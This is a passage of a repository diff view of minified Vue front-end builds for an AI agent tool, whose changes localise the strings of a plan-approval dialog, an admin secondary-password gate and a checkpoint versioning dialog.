.plan-approval-overlay[data-v-eb789c4f]{position:fixed;top:0;right:0;bottom:0;left:0;z-index:1300;display:flex;align-items:center;justify-content:center;padding:20px;background:var(--overlay-scrim)}.plan-approval-card[data-v-eb789c4f]{position:relative;width:min(860px,calc(100vw - 36px));max-height:min(680px,calc(100vh - 36px));max-height:min(680px,calc(100dvh - 36px));display:flex;flex-direction:column;color:var(--text-primary);background:var(--surface-card);border:1px solid var(--border-strong);border-radius:16px;overflow:hidden}.plan-approval-windowbar[data-v-eb789c4f]{position:relative;height:40px;flex:0 0 40px;display:flex;align-items:center;justify-content:center;border-bottom:1px solid var(--border-default)}.plan-approval-close[data-v-eb789c4f]{position:absolute;right:10px;top:50%;transform:translateY(-50%);display:flex;align-items:center;justify-content:center}.plan-approval-window-title[data-v-eb789c4f]{font-size:13px;font-weight:600;color:var(--text-secondary);-webkit-user-select:none;user-select:none}.plan-approval-header[data-v-eb789c4f]{padding:16px 22px 0;flex-shrink:0}.plan-approval-title-block[data-v-eb789c4f]{min-width:0}.plan-approval-summary[data-v-eb789c4f]{margin:0 0 8px;font-size:14px;font-weight:600;line-height:1.5}.plan-approval-file[data-v-eb789c4f]{margin:0;display:flex;align-items:center;gap:6px;font-size:12px;color:var(--text-secondary);white-space:nowrap;overflow:hidden;text-overflow:ellipsis}.plan-approval-file svg[data-v-eb789c4f]{flex:0 0 auto}.plan-approval-truncated[data-v-eb789c4f]{flex:0 0 auto}.plan-approval-body[data-v-eb789c4f]{flex:1 1 auto;min-height:0;overflow-y:auto;padding:14px 22px 18px;font-size:13px;line-height:1.65}.plan-approval-comment[data-v-eb789c4f]{flex-shrink:0;padding:0 22px 12px}.plan-approval-textarea[data-v-eb789c4f]{width:100%;resize:none;min-height:56px;max-height:120px;overflow-y:auto;border:1px solid var(--border-default);border-radius:10px;padding:9px 11px;color:var(--text-primary);background:var(--surface-soft);outline:none;font:inherit;font-size:13px;line-height:1.5;box-sizing:border-box}.plan-approval-textarea[data-v-eb789c4f]:focus{border-color:var(--border-strong)}.plan-approval-footer[data-v-eb789c4f]{height:56px;flex:0 0 56px;display:flex;align-items:center;gap:12px;padding:0 18px;border-top:1px solid var(--border-default)}.plan-approval-spacer[data-v-eb789c4f]{flex:1 1 auto}.plan-approval-btn[data-v-eb789c4f]{min-width:72px;height:34px;border-radius:9px;padding:0 14px;font-size:13px;font-weight:600;cursor:pointer;border:1px solid var(--border-strong)}.plan-approval-btn.ghost[data-v-eb789c4f]{background:transparent;color:var(--text-secondary)}.plan-approval-btn.ghost[data-v-eb789c4f]:hover:not(:disabled){background:var(--hover-bg);color:var(--text-primary)}.plan-approval-btn.primary[data-v-eb789c4f]{background:var(--accent);border-color:var(--accent-strong);color:var(--on-accent)}.plan-approval-btn.primary[data-v-eb789c4f]:hover:not(:disabled){background:var(--accent-hover)}.plan-approval-btn[data-v-eb789c4f]:disabled{opacity:.5;cursor:not-allowed}.plan-approval-fade-enter-active[data-v-eb789c4f],.plan-approval-fade-leave-active[data-v-eb789c4f]{transition:opacity .16s ease}.plan-approval-fade-enter-active .plan-approval-card[data-v-eb789c4f],.plan-approval-fade-leave-active .plan-approval-card[data-v-eb789c4f]{transition:transform .16s ease}.plan-approval-fade-enter-from[data-v-eb789c4f],.plan-approval-fade-leave-to[data-v-eb789c4f]{opacity:0}.plan-approval-fade-enter-from .plan-approval-card[data-v-eb789c4f],.plan-approval-fade-leave-to .plan-approval-card[data-v-eb789c4f]{transform:translateY(6px) scale(.99)}@media (max-width: 620px){.plan-approval-overlay[data-v-eb789c4f]{padding:12px}.plan-approval-card[data-v-eb789c4f]{width:100%;max-height:calc(100vh - 24px);max-height:calc(100dvh - 24px)}}

View File

@ -1 +1 @@
import{d as w,w as g,b as r,e as k,s as x,c as d,g as e,t as v,f as c,q as A,h as B,z as _,A as h,j as C,T as M,l as b,k as V}from"./runtime-dom.esm-bundler.js";import{M as D}from"./main.js";import{_ as I}from"./_plugin-vue_export-helper.js";import"./useMarkdownRenderer.js";import"./FancyCheck.js";const S={key:0,class:"plan-approval-overlay"},j={class:"plan-approval-card",role:"dialog","aria-modal":"true","aria-label":"计划待批准"},K={class:"plan-approval-header"},N={class:"plan-approval-title-block"},T={key:0,class:"plan-approval-summary"},z=["title"],P={key:0,class:"plan-approval-truncated"},q={class:"plan-approval-body"},E={class:"plan-approval-comment"},H=["disabled","onKeydown"],R={class:"plan-approval-footer"},U=["disabled"],F=["disabled"],G=w({__name:"PlanApprovalDialog",props:{visible:{type:Boolean},approvals:{},submittingIds:{}},emits:["submit"],setup(u,{emit:f}){const p=u,m=f,l=b(()=>{const t=Array.isArray(p.approvals)?p.approvals:[];return t.length?t[0]:null}),s=V("");g(()=>{var t;return(t=l.value)==null?void 0:t.approval_id},()=>{s.value=""});const o=b(()=>{var n;const t=p.submittingIds||[],a=String(((n=l.value)==null?void 0:n.approval_id)||"");return t.length>0&&(!a||t.includes(a))});function i(){var a;const t=String(((a=l.value)==null?void 0:a.approval_id)||"").trim();!t||o.value||m("submit",{approval_id:t,approved:!0,comment:s.value.trim()})}function y(){var a;const t=String(((a=l.value)==null?void 0:a.approval_id)||"").trim();!t||o.value||m("submit",{approval_id:t,approved:!1,comment:s.value.trim()})}return(t,a)=>(r(),k(M,{name:"plan-approval-fade",appear:""},{default:x(()=>[u.visible&&l.value?(r(),d("div",S,[e("section",j,[a[3]||(a[3]=e("header",{class:"plan-approval-windowbar"},[e("div",{class:"plan-approval-window-title"},"计划待批准")],-1)),e("header",K,[e("div",N,[l.value.summary?(r(),d("p",T,v(l.value.summary),1)):c("",!0),e("p",{class:"plan-approval-file",title:l.value.plan_file},[a[1]||(a[1]=e("svg",{viewBox:"0 0 24 24",width:"13",height:"13",fill:"none",stroke:"currentColor","stroke-width":"2","stroke-linecap":"round","stroke-linejoin":"round","aria-hidden":"true"},[e("path",{d:"M14 2H6a2 2 0 0 0-2 2v16a2 2 0 0 0 2 2h12a2 2 0 0 0 2-2V8z"}),e("path",{d:"M14 2v6h6"})],-1)),e("span",null,v(l.value.plan_file),1),l.value.plan_content_truncated?(r(),d("span",P,"(内容过长,已截断预览,完整内容见文件)")):c("",!0)],8,z)])]),e("div",q,[A(D,{content:l.value.plan_content||""},null,8,["content"])]),e("div",E,[B(e("textarea",{"onUpdate:modelValue":a[0]||(a[0]=n=>s.value=n),class:"plan-approval-textarea",rows:"2",placeholder:"意见(可选):批准时作为补充要求,拒绝时说明需要调整的方向…",spellcheck:"false",disabled:o.value,onKeydown:[_(h(i,["meta","prevent"]),["enter"]),_(h(i,["ctrl","prevent"]),["enter"])]},null,40,H),[[C,s.value]])]),e("footer",R,[e("button",{type:"button",class:"plan-approval-btn ghost",disabled:o.value,title:"拒绝这份计划AI 将根据你的意见修订后重新提交",onClick:y}," 拒绝 ",8,U),a[2]||(a[2]=e("div",{class:"plan-approval-spacer"},null,-1)),e("button",{type:"button",class:"plan-approval-btn primary",disabled:o.value,title:"批准计划并切换到执行模式开始实施",onClick:i},v(o.value?"提交中…":"批准并执行"),9,F)])])])):c("",!0)]),_:1}))}}),X=I(G,[["__scopeId","data-v-3e79b31b"]]);export{X as default};
import{d as k,w,m as i,b as A,x as $,c,f as e,t as n,s as _,e as u,g as C,A as h,B as b,i as B,T as M,k as y,j as T}from"./index.js";import{M as j}from"./main.js";import{C as z}from"./CloseButton.js";import{_ as V}from"./_plugin-vue_export-helper.js";import"./useMarkdownRenderer.js";const D={key:0,class:"plan-approval-overlay"},N=["aria-label"],P={class:"plan-approval-windowbar"},S={class:"plan-approval-window-title"},I={class:"plan-approval-close"},K={class:"plan-approval-header"},E={class:"plan-approval-title-block"},R={key:0,class:"plan-approval-summary"},H=["title"],L={key:0,class:"plan-approval-truncated"},U={class:"plan-approval-body"},q={class:"plan-approval-comment"},F=["placeholder","disabled","onKeydown"],G={class:"plan-approval-footer"},J=["disabled","title"],O=["disabled","title"],Q=k({__name:"PlanApprovalDialog",props:{visible:{type:Boolean},approvals:{},submittingIds:{}},emits:["submit","minimize"],setup(m,{emit:f}){const p=m,d=f,t=y(()=>{const a=Array.isArray(p.approvals)?p.approvals:[];return a.length?a[0]:null}),s=T("");w(()=>{var a;return(a=t.value)==null?void 0:a.approval_id},()=>{s.value=""});const o=y(()=>{var r;const a=p.submittingIds||[],l=String(((r=t.value)==null?void 0:r.approval_id)||"");return a.length>0&&(!l||a.includes(l))});function v(){var l;const a=String(((l=t.value)==null?void 0:l.approval_id)||"").trim();!a||o.value||d("submit",{approval_id:a,approved:!0,comment:s.value.trim()})}function g(){var l;const a=String(((l=t.value)==null?void 0:l.approval_id)||"").trim();!a||o.value||d("submit",{approval_id:a,approved:!1,comment:s.value.trim()})}return(a,l)=>(i(),A(M,{name:"plan-approval-fade",appear:""},{default:$(()=>[m.visible&&t.value?(i(),c("div",D,[e("section",{class:"plan-approval-card",role:"dialog","aria-modal":"true","aria-label":a.$t("overlay.planApprovalAriaLabel")},[e("header",P,[e("div",S,n(a.$t("overlay.planApprovalTitle")),1),e("span",I,[_(z,{label:a.$t("overlay.planApprovalMinimize"),title:a.$t("overlay.planApprovalMinimize"),onClick:l[0]||(l[0]=r=>d("minimize"))},null,8,["label","title"])])]),e("header",K,[e("div",E,[t.value.summary?(i(),c("p",R,n(t.value.summary),1)):u("",!0),e("p",{class:"plan-approval-file",title:t.value.plan_file},[l[2]||(l[2]=e("svg",{viewBox:"0 0 24 24",width:"13",height:"13",fill:"none",stroke:"currentColor","stroke-width":"2","stroke-linecap":"round","stroke-linejoin":"round","aria-hidden":"true"},[e("path",{d:"M14 2H6a2 2 0 0 0-2 2v16a2 2 0 0 0 2 2h12a2 2 0 0 0 2-2V8z"}),e("path",{d:"M14 2v6h6"})],-1)),e("span",null,n(t.value.plan_file),1),t.value.plan_content_truncated?(i(),c("span",L,n(a.$t("overlay.planTruncatedNote")),1)):u("",!0)],8,H)])]),e("div",U,[_(j,{content:t.value.plan_content||""},null,8,["content"])]),e("div",q,[C(e("textarea",{"onUpdate:modelValue":l[1]||(l[1]=r=>s.value=r),class:"plan-approval-textarea",rows:"2",placeholder:a.$t("overlay.planCommentPlaceholder"),spellcheck:"false",disabled:o.value,onKeydown:[h(b(v,["meta","prevent"]),["enter"]),h(b(v,["ctrl","prevent"]),["enter"])]},null,40,F),[[B,s.value]])]),e("footer",G,[e("button",{type:"button",class:"plan-approval-btn ghost",disabled:o.value,title:a.$t("overlay.planRejectTitle"),onClick:g},n(a.$t("overlay.reject")),9,J),l[3]||(l[3]=e("div",{class:"plan-approval-spacer"},null,-1)),e("button",{type:"button",class:"plan-approval-btn primary",disabled:o.value,title:a.$t("overlay.planApproveTitle"),onClick:v},n(o.value?a.$t("overlay.submittingPlan"):a.$t("overlay.approveAndExecute")),9,O)])],8,N)])):u("",!0)]),_:1}))}}),aa=V(Q,[["__scopeId","data-v-eb789c4f"]]);export{aa as default};

File diff suppressed because one or more lines are too long

File diff suppressed because one or more lines are too long

File diff suppressed because one or more lines are too long

View File

@ -1 +1 @@
import{k as l,d as p,b as c,c as r,p as b,g as s,t as i,f as y,h,j as m,z as g}from"./runtime-dom.esm-bundler.js";import{_ as k}from"./_plugin-vue_export-helper.js";function G(){const e=l(!1),u=l(!0),o=l(!1),n=l(null);return{verified:e,configured:u,loading:o,error:n,check:async()=>{o.value=!0,n.value=null;try{const t=await fetch("/api/admin/secondary/status",{credentials:"same-origin"});if(!t.ok)throw new Error(`状态请求失败:${t.status}`);const a=await t.json();e.value=!!a.verified,u.value=a.configured!==!1}catch(t){n.value=t.message||"无法验证二级密码状态"}finally{o.value=!1}},verify:async t=>{o.value=!0,n.value=null;try{const a=await fetch("/api/admin/secondary/verify",{method:"POST",headers:{"Content-Type":"application/json"},credentials:"same-origin",body:JSON.stringify({password:t})}),d=await a.json();if(!a.ok||!d.success)throw new Error(d.error||"二级密码验证失败");e.value=!0}catch(a){n.value=a.message||"验证失败",e.value=!1}finally{o.value=!1}}}}const w={class:"secondary-overlay"},q={key:0,class:"secondary-card secondary-card--guide"},S={class:"secondary-actions"},C=["disabled"],j={key:0,class:"secondary-error"},x={key:1,class:"secondary-card"},B={class:"muted"},_=["disabled"],$={class:"secondary-actions"},N=["disabled"],V=["disabled"],E={key:0,class:"secondary-error"},T=p({__name:"SecondaryGate",props:{configured:{type:Boolean},loading:{type:Boolean},error:{},description:{default:"为保护敏感数据,需二级校验后查看。"}},emits:["verify","recheck"],setup(e,{emit:u}){const o=e,n=u,f=l(""),v=()=>{o.loading||n("verify",f.value)};return(t,a)=>(c(),r("div",w,[e.configured?(c(),r("div",x,[a[4]||(a[4]=s("h3",null,"请输入管理员二级密码",-1)),s("p",B,i(e.description),1),h(s("input",{class:"secondary-input",type:"password","onUpdate:modelValue":a[1]||(a[1]=d=>f.value=d),disabled:e.loading,placeholder:"二级密码",onKeyup:g(v,["enter"])},null,40,_),[[m,f.value]]),s("div",$,[s("button",{type:"button",disabled:e.loading,onClick:v},i(e.loading?"校验中...":"确认进入"),9,N),s("button",{type:"button",class:"ghost-btn",disabled:e.loading,onClick:a[2]||(a[2]=d=>t.$emit("recheck"))}," 重新检测 ",8,V)]),e.error?(c(),r("p",E,i(e.error),1)):y("",!0)])):(c(),r("div",q,[a[3]||(a[3]=b('<h3 data-v-8ef6b7ca>尚未设置二级密码</h3><p class="muted" data-v-8ef6b7ca> 管理面板的敏感操作(邀请码、密码管理、策略配置等)由二级密码保护。 当前服务端尚未配置二级密码,请先完成设置: </p><ol class="guide-steps" data-v-8ef6b7ca><li data-v-8ef6b7ca><span class="step-text" data-v-8ef6b7ca>在服务器上生成密码哈希:</span><code class="step-code" data-v-8ef6b7ca>python3 -c &quot;from werkzeug.security import generate_password_hash; print(generate_password_hash(&#39;你的二级密码&#39;))&quot;</code></li><li data-v-8ef6b7ca><span class="step-text" data-v-8ef6b7ca>将输出写入 settings.json 的 <code data-v-8ef6b7ca>admin</code> 段:</span><code class="step-code" data-v-8ef6b7ca>&quot;admin&quot;: { &quot;secondary_password_hash&quot;: &quot;pbkdf2:sha256:...&quot; }</code></li><li data-v-8ef6b7ca><span class="step-text" data-v-8ef6b7ca>重启服务,然后点击下方「重新检测」。</span></li></ol>',3)),s("div",S,[s("button",{type:"button",disabled:e.loading,onClick:a[0]||(a[0]=d=>t.$emit("recheck"))},i(e.loading?"检测中...":"重新检测"),9,C)]),e.error?(c(),r("p",j,i(e.error),1)):y("",!0)]))]))}}),K=k(T,[["__scopeId","data-v-8ef6b7ca"]]);export{K as S,G as u};
import{l as y,j as c,d as h,c as l,f as s,t as a,h as g,e as p,g as v,i as C,A as T,m as r}from"./index.js";import{_ as k}from"./_plugin-vue_export-helper.js";function U(){const t=c(!1),u=c(!0),n=c(!1),i=c(null);return{verified:t,configured:u,loading:n,error:i,check:async()=>{n.value=!0,i.value=null;try{const e=await fetch("/api/admin/secondary/status",{credentials:"same-origin"});if(!e.ok)throw new Error(y("adminApi.statusRequestFailed",{status:e.status}));const o=await e.json();t.value=!!o.verified,u.value=o.configured!==!1}catch(e){i.value=e.message||y("adminApi.cannotVerifySecondaryPass")}finally{n.value=!1}},verify:async e=>{n.value=!0,i.value=null;try{const o=await fetch("/api/admin/secondary/verify",{method:"POST",headers:{"Content-Type":"application/json"},credentials:"same-origin",body:JSON.stringify({password:e})}),d=await o.json();if(!o.ok||!d.success)throw new Error(d.error||y("adminApi.secondaryPassVerifyFailed"));t.value=!0}catch(o){i.value=o.message||y("adminApi.verifyFailed"),t.value=!1}finally{n.value=!1}}}}const b={class:"secondary-overlay"},$={key:0,class:"secondary-card secondary-card--guide"},w={class:"muted"},S={class:"guide-steps"},P={class:"step-text"},V={class:"step-code"},A={class:"step-text"},B={class:"step-text"},j={class:"secondary-actions"},D=["disabled"],E={key:0,class:"secondary-error"},N={key:1,class:"secondary-card"},F={class:"muted"},G=["disabled","placeholder"],K={class:"secondary-actions"},O=["disabled"],q=["disabled"],I={key:0,class:"secondary-error"},J=h({__name:"SecondaryGate",props:{configured:{type:Boolean},loading:{type:Boolean},error:{},description:{default:""}},emits:["verify","recheck"],setup(t,{emit:u}){const n=t,i=u,m=c(""),f=()=>{n.loading||i("verify",m.value)};return(e,o)=>(r(),l("div",b,[t.configured?(r(),l("div",N,[s("h3",null,a(e.$t("adminCustomTools.gate.title")),1),s("p",F,a(t.description||e.$t("adminCustomTools.gate.defaultDescription")),1),v(s("input",{class:"secondary-input",type:"password","onUpdate:modelValue":o[1]||(o[1]=d=>m.value=d),disabled:t.loading,placeholder:e.$t("adminCustomTools.gate.passwordPlaceholder"),onKeyup:T(f,["enter"])},null,40,G),[[C,m.value]]),s("div",K,[s("button",{type:"button",disabled:t.loading,onClick:f},a(t.loading?e.$t("adminCustomTools.gate.verifying"):e.$t("adminCustomTools.gate.confirmEnter")),9,O),s("button",{type:"button",class:"ghost-btn",disabled:t.loading,onClick:o[2]||(o[2]=d=>e.$emit("recheck"))},a(e.$t("adminCustomTools.gate.recheck")),9,q)]),t.error?(r(),l("p",I,a(t.error),1)):p("",!0)])):(r(),l("div",$,[s("h3",null,a(e.$t("adminCustomTools.gate.notConfiguredTitle")),1),s("p",w,a(e.$t("adminCustomTools.gate.notConfiguredDesc")),1),s("ol",S,[s("li",null,[s("span",P,a(e.$t("adminCustomTools.gate.step1Text")),1),s("code",V,a(e.$t("adminCustomTools.gate.step1Code")),1)]),s("li",null,[s("span",A,[g(a(e.$t("adminCustomTools.gate.step2TextPre"))+" ",1),o[3]||(o[3]=s("code",null,"admin",-1)),g(a(e.$t("adminCustomTools.gate.step2TextPost")),1)]),o[4]||(o[4]=s("code",{class:"step-code"},'"admin": { "secondary_password_hash": "pbkdf2:sha256:..." }',-1))]),s("li",null,[s("span",B,a(e.$t("adminCustomTools.gate.step3Text")),1)])]),s("div",j,[s("button",{type:"button",disabled:t.loading,onClick:o[0]||(o[0]=d=>e.$emit("recheck"))},a(t.loading?e.$t("adminCustomTools.gate.rechecking"):e.$t("adminCustomTools.gate.recheck")),9,D)]),t.error?(r(),l("p",E,a(t.error),1)):p("",!0)]))]))}}),z=k(J,[["__scopeId","data-v-060e5fb6"]]);export{z as S,U as u};

View File

@ -1 +1 @@
.subagent-output-section[data-v-eb11d38b]{margin-bottom:16px}.subagent-output-title[data-v-eb11d38b],.subagent-activity-list-title[data-v-eb11d38b]{font-weight:600;font-size:14px;margin-bottom:8px;color:var(--text-primary)}.subagent-output-list[data-v-eb11d38b]{display:flex;flex-direction:column;gap:8px}.subagent-output-item[data-v-eb11d38b]{display:block;cursor:pointer}.subagent-output-content[data-v-eb11d38b]{color:var(--text-primary);white-space:pre-wrap;word-break:break-word;line-height:1.5;text-align:left;overflow:hidden;display:-webkit-box;-webkit-line-clamp:3;-webkit-box-orient:vertical}.subagent-output-item.expanded .subagent-output-content[data-v-eb11d38b]{-webkit-line-clamp:unset;display:block}
.subagent-output-section[data-v-3b2e8fbb]{margin-bottom:16px}.subagent-output-title[data-v-3b2e8fbb],.subagent-activity-list-title[data-v-3b2e8fbb]{font-weight:600;font-size:14px;margin-bottom:8px;color:var(--text-primary)}.subagent-output-list[data-v-3b2e8fbb]{display:flex;flex-direction:column;gap:8px}.subagent-output-item[data-v-3b2e8fbb]{display:block;cursor:pointer}.subagent-output-content[data-v-3b2e8fbb]{color:var(--text-primary);white-space:pre-wrap;word-break:break-word;line-height:1.5;text-align:left;overflow:hidden;display:-webkit-box;-webkit-line-clamp:3;-webkit-box-orient:vertical}.subagent-output-item.expanded .subagent-output-content[data-v-3b2e8fbb]{-webkit-line-clamp:unset;display:block}

File diff suppressed because one or more lines are too long

File diff suppressed because one or more lines are too long

File diff suppressed because one or more lines are too long

File diff suppressed because one or more lines are too long

File diff suppressed because one or more lines are too long

View File

@ -1,2 +1,2 @@
import{d as B,w as N,b as a,c as d,g as e,t as i,y as $,F as r,r as v,n as c,f as g,A as D,l as F,k as L}from"./runtime-dom.esm-bundler.js";import{_ as A}from"./_plugin-vue_export-helper.js";const V={class:"versioning-header"},z={class:"versioning-header-left"},E={class:"switch-line"},K=["checked","disabled"],I={class:"switch-text"},R={class:"versioning-header-actions"},T=["disabled"],U={class:"versioning-body"},j={class:"checkpoint-list scroll-area"},G=["onClick"],H={class:"row top"},J={class:"seq"},O={class:"time"},P={class:"preview"},Q={class:"row stats"},W={class:"plus"},X={class:"minus"},Y={class:"files"},Z={key:0,class:"empty"},x={class:"checkpoint-detail scroll-area"},ee={key:0,class:"loading"},se={class:"summary"},te={class:"plus"},oe={class:"minus"},ne={class:"files"},ie={class:"file-list"},ae=["onClick"],de={class:"status"},le={class:"path"},re={class:"delta"},ce={class:"plus"},ue={class:"minus"},he={key:0,class:"tool-result-diff scroll-area versioning-diff"},me={key:0,class:"empty"},ve={class:"diff-marker"},ge={class:"diff-content"},pe={key:1,class:"approval-note"},be={key:2,class:"empty"},ye={class:"versioning-footer"},ke={class:"restore-options"},$e={class:"restore-option-group"},_e={class:"restore-option-buttons"},fe=["disabled"],Ce=["disabled"],we={class:"restore-option-group"},Se={class:"restore-option-buttons"},qe=["disabled"],Me=["disabled"],Be=["disabled"],Ne=B({__name:"VersioningDialog",props:{hostMode:{type:Boolean},enabled:{type:Boolean},loading:{type:Boolean},items:{},selectedSeq:{},detail:{},detailLoading:{type:Boolean},restoring:{type:Boolean},restoreMode:{},trackingMode:{},iconStyle:{type:Function}},emits:["close","refresh","toggle-enabled","select","confirm","update:restore-mode","update:tracking-mode"],setup(n,{emit:De}){const h=n,p=s=>h.iconStyle?h.iconStyle(s):{},_=F(()=>[...Array.isArray(h.items)?h.items:[]].sort((t,o)=>Number((t==null?void 0:t.seq)||0)-Number((o==null?void 0:o.seq)||0))),m=L(null),b=(s,t)=>`${(s==null?void 0:s.status)||""}:${(s==null?void 0:s.old_path)||""}:${(s==null?void 0:s.path)||""}:${t}`,f=(s,t)=>{const o=b(s,t);m.value=m.value===o?null:o},y=(s,t)=>m.value===b(s,t);N(()=>{var s;return(s=h.detail)==null?void 0:s.seq},()=>{m.value=null});const C=s=>{if(!s)return"-";try{return new Date(s).toLocaleString("zh-CN",{month:"2-digit",day:"2-digit",hour:"2-digit",minute:"2-digit"})}catch{return s}},w=s=>({added:"A",modified:"M",deleted:"D",renamed:"R"})[String(s||"").toLowerCase()]||String(s||"").toUpperCase().slice(0,1),S=s=>s==null?[""]:String(s).split(`
`);return(s,t)=>(a(),d("div",{class:"versioning-dialog",onClick:t[9]||(t[9]=D(o=>s.$emit("close"),["self"]))},[e("div",{class:"versioning-card",onClick:t[8]||(t[8]=(...o)=>s.closeScopeMenu&&s.closeScopeMenu(...o))},[e("header",V,[e("div",z,[t[11]||(t[11]=e("h3",null,"版本管理",-1)),e("label",E,[e("input",{type:"checkbox",checked:n.enabled,disabled:n.loading,onChange:t[0]||(t[0]=o=>s.$emit("toggle-enabled",o.target.checked))},null,40,K),t[10]||(t[10]=e("span",{class:"switch"},null,-1)),e("span",I,i(n.enabled?"开启":"关闭"),1)])]),e("div",R,[e("button",{type:"button",class:"refresh-btn",disabled:n.loading,onClick:t[1]||(t[1]=o=>s.$emit("refresh"))},[e("span",{class:"icon icon-sm",style:$(p("refreshCw")),"aria-hidden":"true"},null,4),t[12]||(t[12]=e("span",null,"刷新",-1))],8,T),e("button",{type:"button",class:"icon-close-btn","aria-label":"关闭",onClick:t[2]||(t[2]=o=>s.$emit("close"))},[e("span",{class:"icon icon-sm",style:$(p("x")),"aria-hidden":"true"},null,4)])])]),e("div",U,[e("aside",j,[(a(!0),d(r,null,v(_.value,o=>(a(),d("button",{key:o.seq,type:"button",class:c(["checkpoint-item",{active:Number(n.selectedSeq)===Number(o.seq)}]),onClick:l=>s.$emit("select",o.seq)},[e("div",H,[e("span",J,"#"+i(o.seq),1),e("span",O,i(C(o.timestamp)),1)]),e("div",P,i(o.message_preview||"(空消息)"),1),e("div",Q,[e("span",W,"+"+i(o.insertions||0),1),e("span",X,"-"+i(o.deletions||0),1),e("span",Y,i(o.files_changed||0)+" 文件",1)])],10,G))),128)),n.items.length?g("",!0):(a(),d("div",Z,"暂无版本点"))]),e("section",x,[n.detailLoading?(a(),d("div",ee,"加载详情中...")):n.detail?(a(),d(r,{key:1},[e("h4",null,"提交详情 #"+i(n.detail.seq),1),e("div",se,[e("span",te,"+"+i(n.detail.insertions||0),1),e("span",oe,"-"+i(n.detail.deletions||0),1),e("span",ne,i(n.detail.files_changed||0)+" 文件",1)]),e("div",ie,[(a(!0),d(r,null,v(n.detail.files||[],(o,l)=>(a(),d(r,{key:`${o.status}:${o.path}:${l}`},[e("div",{class:c(["file-row",{expanded:y(o,l)}]),onClick:u=>f(o,l)},[e("span",de,i(w(o.status)),1),e("span",le,i(o.path),1),e("span",re,[e("span",ce,"+"+i(o.insertions||0),1),e("span",ue,"-"+i(o.deletions||0),1)])],10,ae),y(o,l)?(a(),d("div",he,[(o.patch_lines||[]).length?g("",!0):(a(),d("div",me,"暂无可展示的文本变更行")),(a(!0),d(r,null,v(o.patch_lines||[],(u,k)=>(a(),d(r,{key:`line:${l}:${k}`},[(a(!0),d(r,null,v(S(u.content),(q,M)=>(a(),d("div",{key:`line:${l}:${k}:${M}`,class:c(["diff-line",u.type==="add"?"diff-add":u.type==="remove"?"diff-remove":"diff-context"])},[e("span",ve,i(u.type==="add"?"+":u.type==="remove"?"-":" "),1),e("span",ge,i(q),1)],2))),128))],64))),128)),o.patch_truncated?(a(),d("div",pe,"内容过长,已截断展示")):g("",!0)])):g("",!0)],64))),128))])],64)):(a(),d("div",be,"请选择一个版本点查看详情"))])]),e("footer",ye,[e("div",ke,[e("div",$e,[t[13]||(t[13]=e("span",{class:"restore-option-label"},"回溯范围",-1)),e("div",_e,[e("button",{type:"button",class:c(["restore-option-btn",{active:n.trackingMode==="conversation_only"}]),disabled:n.restoring,onClick:t[3]||(t[3]=o=>s.$emit("update:tracking-mode","conversation_only"))}," 仅回溯对话 ",10,fe),e("button",{type:"button",class:c(["restore-option-btn",{active:n.trackingMode==="workspace_and_conversation",disabled:!n.hostMode}]),disabled:n.restoring||!n.hostMode,onClick:t[4]||(t[4]=o=>s.$emit("update:tracking-mode","workspace_and_conversation"))}," 回溯对话和工作区 ",10,Ce)])]),e("div",we,[t[14]||(t[14]=e("span",{class:"restore-option-label"},"回溯模式",-1)),e("div",Se,[e("button",{type:"button",class:c(["restore-option-btn",{active:n.restoreMode==="overwrite"}]),disabled:n.restoring,onClick:t[5]||(t[5]=o=>s.$emit("update:restore-mode","overwrite"))}," 覆盖当前对话 ",10,qe),e("button",{type:"button",class:c(["restore-option-btn",{active:n.restoreMode==="copy"}]),disabled:n.restoring,onClick:t[6]||(t[6]=o=>s.$emit("update:restore-mode","copy"))}," 复制对话 ",10,Me)])])]),e("button",{type:"button",class:"confirm-btn",disabled:!n.enabled||n.selectedSeq===null||n.selectedSeq===void 0||n.restoring,onClick:t[7]||(t[7]=o=>s.$emit("confirm"))},i(n.restoring?"回溯中...":"确认回溯"),9,Be)])])]))}}),Ae=A(Ne,[["__scopeId","data-v-46164e6b"]]);export{Ae as default};
import{d as q,w as B,m as a,c as l,f as s,t as n,z as D,s as L,F as r,r as y,n as c,e as m,B as N,k as F,j as V}from"./index.js";import{C as z}from"./CloseButton.js";import{_ as A}from"./_plugin-vue_export-helper.js";const O={class:"versioning-header"},E={class:"versioning-header-left"},T={class:"switch-line"},K=["checked","disabled"],R={class:"switch-text"},j={class:"versioning-header-actions"},I=["disabled"],U={class:"versioning-body"},W={class:"checkpoint-list scroll-area"},G=["onClick"],H={class:"row top"},J={class:"seq"},P={class:"time"},Q={class:"preview"},X={class:"row stats"},Y={class:"plus"},Z={class:"minus"},x={class:"files"},ee={key:0,class:"empty"},se={class:"checkpoint-detail scroll-area"},te={key:0,class:"loading"},oe={class:"summary"},ne={class:"plus"},ie={class:"minus"},ae={class:"files"},le={class:"file-list"},de=["onClick"],re={class:"status"},ce={class:"path"},ue={class:"delta"},ve={class:"plus"},he={class:"minus"},ye={key:0,class:"tool-result-diff scroll-area versioning-diff"},me={key:0,class:"empty"},pe={class:"diff-marker"},ge={class:"diff-content"},$e={key:1,class:"approval-note"},be={key:2,class:"empty"},ke={class:"versioning-footer"},fe={class:"restore-options"},Ce={class:"restore-option-group"},we={class:"restore-option-label"},Se={class:"restore-option-buttons"},_e=["disabled"],Me=["disabled"],qe={class:"restore-option-group"},Be={class:"restore-option-label"},De={class:"restore-option-buttons"},Le=["disabled"],Ne=["disabled"],Fe=["disabled"],Ve=q({__name:"VersioningDialog",props:{hostMode:{type:Boolean},enabled:{type:Boolean},loading:{type:Boolean},items:{},selectedSeq:{},detail:{},detailLoading:{type:Boolean},restoring:{type:Boolean},restoreMode:{},trackingMode:{},iconStyle:{type:Function}},emits:["close","refresh","toggle-enabled","select","confirm","update:restore-mode","update:tracking-mode"],setup(i,{emit:ze}){const v=i,b=e=>v.iconStyle?v.iconStyle(e):{},k=F(()=>[...Array.isArray(v.items)?v.items:[]].sort((o,t)=>Number((o==null?void 0:o.seq)||0)-Number((t==null?void 0:t.seq)||0))),h=V(null),p=(e,o)=>`${(e==null?void 0:e.status)||""}:${(e==null?void 0:e.old_path)||""}:${(e==null?void 0:e.path)||""}:${o}`,f=(e,o)=>{const t=p(e,o);h.value=h.value===t?null:t},g=(e,o)=>h.value===p(e,o);B(()=>{var e;return(e=v.detail)==null?void 0:e.seq},()=>{h.value=null});const C=e=>{if(!e)return"-";try{return new Date(e).toLocaleString("zh-CN",{month:"2-digit",day:"2-digit",hour:"2-digit",minute:"2-digit"})}catch{return 